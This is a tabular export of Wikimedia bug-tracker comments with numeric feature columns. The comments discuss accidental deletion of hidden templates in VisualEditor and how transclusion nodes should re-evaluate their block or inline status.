251553,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),FYI: I count 3 reports in the last 10 posts on WP:VP/T today related to accidental 'hidden' or 'floating' templates deletion.,,,1374261491,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,10.0,10.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.3870967741935485,0.8709677419354839,FYI: I count 3 reports in the last 10 posts on WP:VP/T today related to accidental 'hidden' or 'floating' templates deletion.
251547,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),*** Bug 49633 has been marked as a duplicate of this bug. ***,,,1374086311,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49633 has been marked as a duplicate of this bug. ***
251540,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Why not allowing deletion of a template by keyboard only if the template is selected, not just if the cursor if just before or after the template ?
I don't know if it's difficult to implement, but that would help preventing accidental deletions.",,,1373895714,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,2.0,6.0,4.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,14.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,4.0,10.0,4.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,18.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,4.163265306122449,0.7959183673469388,"Why not allowing deletion of a template by keyboard only if the template is selected, not just if the cursor if just before or after the template ?
I don't know if it's difficult to implement, but that would help preventing accidental deletions."
251532,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"I've seen it a couple of times so far, but not that often. Having said that, we haven't been actively patrolling recentchanges in a while. I'd personally like some kind of resolution pre-IP rollout, because even if it's relatively rare we're throwing sheer numbers at every bug.",,,1373646789,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,1,,3.0,0.0,0.0,0.0,3.0,8.0,0.0,2.0,0.0,2.0,2.0,7.0,0.0,0.0,0.0,7.0,2.0,15.0,12.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,2.0,7.0,5.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.8666666666666667,0.8333333333333334,"I've seen it a couple of times so far, but not that often. Having said that, we haven't been actively patrolling recentchanges in a while. I'd personally like some kind of resolution pre-IP rollout, because even if it's relatively rare we're throwing sheer numbers at every bug."
251526,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Oliver and others watching this bug, what's your sense from reviewing changes how often this (accidental deletion of hidden templates) is currently occurring in practice? Knowing this (even if it's anecdata) would help setting priority for this bug.",,,1373610238,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,11.0,2.0,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,4.51063829787234,0.851063829787234,"Oliver and others watching this bug, what's your sense from reviewing changes how often this (accidental deletion of hidden templates) is currently occurring in practice? Knowing this (even if it's anecdata) would help setting priority for this bug."
251520,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"How about this: If the cursor is before or straight after a template, pop the 'puzzle' indicator into view.

You could make it float above the current line, with a droplet (as a sort of cursor) downward pointing at the position where there is a template that is invisible or floating. When you click the icon, move the cursor to be on 'template', blue highlighting the template content if it is not hidden (this will help direct the users eye from cursor position to content) and directly open the template editor.",,,1373225859,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,1.0,1.0,1.5,2.0,0.0,0.0,1.5,0.5,3.0,0.0,0.0,0.5,0.0,1.0,5.5,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,1.0,4.0,0.0,1.5,0.0,1.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,1.0,0.0,16.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,1.0,0.0,8.5,4.0,2.5,3.5,2.5,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,1.0,0.0,3.0,0.0,3.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,3.935185185185185,0.7777777777777777,"How about this: If the cursor is before or straight after a template, pop the 'puzzle' indicator into view.

You could make it float above the current line, with a droplet (as a sort of cursor) downward pointing at the position where there is a template that is invisible or floating. When you click the icon, move the cursor to be on 'template', blue highlighting the template content if it is not hidden (this will help direct the users eye from cursor position to content) and directly open the template editor."
251514,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Even with non-hidden, but floating templates it can be confusing. To quote a user:

http://en.wikipedia.org/w/index.php?title=Peach_Springs_Trading_Post&oldid=563257259

I place the cursor to the left of the line that begins ""The Peach Springs Trad...."", just after the malformed comment, then press backspace, in the hopes of starting to delete said malformed content, the entire infobox disappears.  This is quite startling.

Perhaps a warning is required for the short term ? ""Are you sure you want to delete template... ?""",,,1373225304,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,1.0,0.0,9.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,10.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,1.0,1.0,3.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,12.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,4.0,11.0,0.0,1.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,10.0,6.0,2.0,4.0,0.0,4.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,3.845360824742268,0.7319587628865979,"Even with non-hidden, but floating templates it can be confusing. To quote a user:

URL

I place the cursor to the left of the line that begins ""The Peach Springs Trad...."", just after the malformed comment, then press backspace, in the hopes of starting to delete said malformed content, the entire infobox disappears.  This is quite startling.

Perhaps a warning is required for the short term ? ""Are you sure you want to delete template... ?"""
251508,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),I have no idea if there /is/ a standard. A good illustration is https://en.wikipedia.org/w/index.php?title=Template:Persondata&action=edit,,,1372445837,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,20.0,7.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,I have no idea if there /is/ a standard. A good illustration is URL
251501,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"btw What's the standard of ""hidden templates"". Are templates generating <div style=""display:none;"">something</div> hidden, or what about <div class=""hidden"">something</div> when [[MediaWiki:Common.css]] contains .hidden{display:none;} ?",,,1372441452,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,9.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,2.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,16.0,4.863636363636363,0.7727272727272727,"btw What's the standard of ""hidden templates"". Are templates generating <div style=""display:none;"">something</div> hidden, or what about <div class=""hidden"">something</div> when [[MediaWiki:Common.css]] contains .hidden{display:none;} ?"
251495,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"A side-effect of this is that it's impossible to maintain good formatting (keep a blank line between metadata and article text, for example) because the content does not exist from an editor's perspective.",,,1371790287,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,2.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,5.0,2.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.219512195121951,0.975609756097561,"A side-effect of this is that it's impossible to maintain good formatting (keep a blank line between metadata and article text, for example) because the content does not exist from an editor's perspective."
251491,Hidden templates should display as an icon in-page in VisualEditor so they can be interacted with (e.g. a puzzle piece?),"Template:Clear is also a good example of this. Although it doesn't even display as a carriage return. You can insert the template, and then it complete disappears.",,,1371755069,,PHID-USER-evwol34rsld7viokxokd,False,,,PHID-TASK-fismtah5nhz3jechnxci,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,12.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,9.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.029411764705882,0.8823529411764706,"Template:Clear is also a good example of this. Although it doesn't even display as a carriage return. You can insert the template, and then it complete disappears."
51784,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,"Especially important for newly inserted ones, as at the moment we have no idea what they are going to be so we just assume inline.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1371595680,1463387195.0,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_description,resolved,True,c1,2,True,False,False,-2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.066666666666666,0.7777777777777778,"Especially important for newly inserted ones, as at the moment we have no idea what they are going to be so we just assume inline.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
662704,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,"Change 288813 merged by jenkins-bot:
[BREAKING CHANGE] Evalute block/inline state when inserting a transclusion node

[[https://gerrit.wikimedia.org/r/288813]]",,,1463387273,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,False,,,150,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,17.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,7.0,0.0,0.0,14.0,4.103448275862069,0.8620689655172413,"Change 288813 merged by jenkins-bot:
[BREAKING CHANGE] Evalute block/inline state when inserting a transclusion node

[[GERRIT_URL]]"
662528,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,"Change 288813 had a related patch set uploaded (by Esanders):
[BREAKING CHANGE] Evalute block/inline state when inserting a transclusion node

[[https://gerrit.wikimedia.org/r/288813]]
",,,1463310979,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,False,,,149,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,18.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,0.0,0.0,12.0,4.117647058823529,0.8235294117647058,"Change 288813 had a related patch set uploaded (by Esanders):
[BREAKING CHANGE] Evalute block/inline state when inserting a transclusion node

[[GERRIT_URL]]
"
250142,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,*** Bug 72045 has been marked as a duplicate of this bug. ***,,,1413312100,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,True,,,67,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 72045 has been marked as a duplicate of this bug. ***
250138,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,"Inez talked to me about this long-standing problem today. He worked on a solution that involves waiting for the preview to come back before inserting the template, displaying a spinner in the meantime. His code is at https://github.com/Wikia/app/pull/4932/files . It looks a bit rough and it only deals with insertion, but I think the general approach could work out pretty well. If nothing else, it could be a stop-gap until we have collaborative editing and having a transclusion reevaluate its type asynchronously would not be a big deal.",,,1412202934,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,False,,,65,,0.0,0.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,3.0,1.0,8.0,12.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,5.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,10.0,3.0,7.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,12.0,1.0,0.0,0.0,0.0,9.0,0.0,1.0,6.0,1.0,5.0,0.0,0.0,0.0,4.171717171717172,0.797979797979798,"Inez talked to me about this long-standing problem today. He worked on a solution that involves waiting for the preview to come back before inserting the template, displaying a spinner in the meantime. His code is at URL . It looks a bit rough and it only deals with insertion, but I think the general approach could work out pretty well. If nothing else, it could be a stop-gap until we have collaborative editing and having a transclusion reevaluate its type asynchronously would not be a big deal."
250134,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,*** Bug 52032 has been marked as a duplicate of this bug. ***,,,1395357259,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52032 has been marked as a duplicate of this bug. ***
250130,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,"(In reply to comment #5)
> Parsoid says they now have a public wt2html API that we can use instead of
> action=parse. That would at least allow use to let Parsoid determine whether
> it
> is inline or block (instead of sniffing the html result, though that's fairly
> trivial, just <span> vs. everything else, right? Maybe a few other inline
> elements nodes that we use, or do we wrap them all?)
> 
> However we still need to then find a way to swap the data model node instance
> in that case. (..)

From ve.dm.MWTransclusionBlockNode to ve.dm.MWTransclusionInlineNode or visa versa.",,,1386022898,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,10.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,0.48717948717948717,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

From ve.dm.MWTransclusionBlockNode to ve.dm.MWTransclusionInlineNode or visa versa."
250124,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,"Parsoid says they now have a public wt2html API that we can use instead of action=parse. That would at least allow use to let Parsoid determine whether it is inline or block (instead of sniffing the html result, though that's fairly trivial, just <span> vs. everything else, right? Maybe a few other inline elements nodes that we use, or do we wrap them all?)

However we still need to then find a way to swap the data model node instance in that case. Having 1 datamodel type would be nice indeed. We could make it similar to extension tags in that templates have their own class, but it wouldn't be specific to an element type, we can still swap it dynamically (just like we can change lists from UL to OL).",,,1386022755,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,True,,,22,,1.0,0.5,0.0,0.0,0.5,7.0,2.0,0.0,0.5,0.0,3.0,0.5,0.0,0.0,0.0,4.0,0.0,8.5,11.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,0.0,4.5,1.0,2.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.5,2.5,0.0,2.0,0.5,0.0,0.0,10.0,1.0,2.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.5,0.5,0.0,0.0,0.0,3.5,2.0,5.5,2.5,1.5,5.5,0.0,0.0,0.0,0.0,7.5,0.0,0.5,0.0,8.0,11.0,4.5,1.0,0.0,0.0,8.0,0.0,0.0,2.5,0.5,1.0,0.0,0.5,1.0,3.766233766233766,0.7662337662337663,"Parsoid says they now have a public wt2html API that we can use instead of action=parse. That would at least allow use to let Parsoid determine whether it is inline or block (instead of sniffing the html result, though that's fairly trivial, just <span> vs. everything else, right? Maybe a few other inline elements nodes that we use, or do we wrap them all?)

However we still need to then find a way to swap the data model node instance in that case. Having 1 datamodel type would be nice indeed. We could make it similar to extension tags in that templates have their own class, but it wouldn't be specific to an element type, we can still swap it dynamically (just like we can change lists from UL to OL)."
250117,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,*** Bug 50610 has been marked as a duplicate of this bug. ***,,,1385375646,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50610 has been marked as a duplicate of this bug. ***
250109,VisualEditor: Transclusion nodes should re-evaluate their block/inline status on every update,*** Bug 54893 has been marked as a duplicate of this bug. ***,,,1380746310,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pyjlzzqqrcxthunhdjxd,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54893 has been marked as a duplicate of this bug. ***
